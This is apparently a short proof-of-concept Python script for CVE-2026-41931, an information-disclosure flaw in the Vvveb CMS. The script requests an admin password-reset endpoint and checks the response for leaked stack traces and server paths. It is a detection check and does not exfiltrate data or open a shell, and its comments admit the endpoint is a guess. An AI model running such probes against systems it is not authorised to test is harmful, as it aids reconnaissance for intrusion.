CVE-2026-41931 Vvveb信息泄露漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-41931 (Vvveb Information Disclosure) This script checks if the target is vulnerable by triggering the unhandled exception. """ import requests def check_poc(target_url): # The vulnerability is triggered in the admin password-reset module # Common endpoint might be /admin/password-reset or similar endpoint = "/admin/password-reset" full_url = f"{target_url.rstrip('/')}{endpoint}" headers = { "User-Agent": "CVE-2026-41931-Scanner" } try: print(f"[+] Checking target: {full_url}") response = requests.get(full_url, headers=headers, timeout=10) # Analyzing response for debug information leakage # Indicators: Stack trace, Fatal error, Absolute paths if response.status_code == 500 or response.status_code == 200: content = response.text indicators = ["Stack trace:", "Fatal error:", "Call Stack", "/var/www/", "C:\\xampp\\"] found = False for indicator in indicators: if indicator in content: print(f"[!] Potential information disclosure detected!") print(f"[!] Found indicator: {indicator}") found = True break if found: print("[*] Response snippet (first 300 chars):") print(content[:300]) else: print("[-] No debug information leaked via this endpoint.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 poc.py <target_url>") print("Example: python3 poc.py http://localhost") else: check_poc(sys.argv[1])